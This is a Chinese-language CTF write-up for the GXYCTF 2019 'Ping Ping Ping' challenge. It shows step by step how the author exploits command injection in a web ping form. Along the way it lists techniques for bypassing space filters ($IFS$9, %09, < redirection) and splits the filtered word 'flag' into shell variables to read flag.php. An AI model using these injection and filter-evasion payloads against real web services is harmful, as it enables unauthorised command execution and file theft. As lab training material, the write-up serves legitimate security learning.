ping命令,这是老朋友了,经常碰见,先进题目界面看看
先试试直接输入一个地址,127.0.0.1,看看有没有回显
那就是一个ping命令了,直接先试试管道 ' | ' ,look一下有没有被过滤掉,输入" 127.0.0.1 | ls "
出来了,说明管道命令可以用,那接下来就简单了。直接查看一下flag.php,输入 "127.0.0.1 | tac flag.php"
好好好,这么玩是吧。直接tac或者cat都不能查看,这句话说的是去你的空格,直接发空格发现会报错,再试试有没有其他的也被过滤了。实验之后发现flag也被过滤了。
空格过滤我们可以使用下面几种方式来替代空格
Rec 远程命令执行空格绕过的方法:
< -- 命令的重定性 如 cat<flag.php
<> --重定性 如 cat<>flag.php
%09 --需要php环境,如cat%09flag.php
${IFS}--单纯cat¥IFS2,IFS2就会被bash当作解释器当作变量名输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
经过实验,只有$IFS$9可以,其余均无法用来替代空格
flag我们可以将其用两个变量来进行拆分,使用代码的思维,将两个变量组合成我们需要的字符,避免直接输入。输入"127.0.0.1|a=f;b=lag;cat$IFS$9$a$b.php"
发现页面没有回显,但是也没有报错,flag是上一条报错的,测试的时候直接用的那个页面。去查一下linux命令,发现在linux中管道符" | ",上一条命令的输出,作为下一条命令的参数(显示后面的执行结果),可能是因为,输出的需要,先把ping 输出出来,后面的才能输出,所以这里就不能用管道符,我们换成" ; "继续试试。输入" 127.0.0.1;b=lag;a=f;cat$IFS$9$a$b.php "
出现回显,说明命令正常执行了,但是没有看见flag,f12看一下网页源码,成功发现flag。
标签:IFS,--,Ping,cat,flag,2019,php,GXYCTF From: https://www.cnblogs.com/karasbai/p/18360321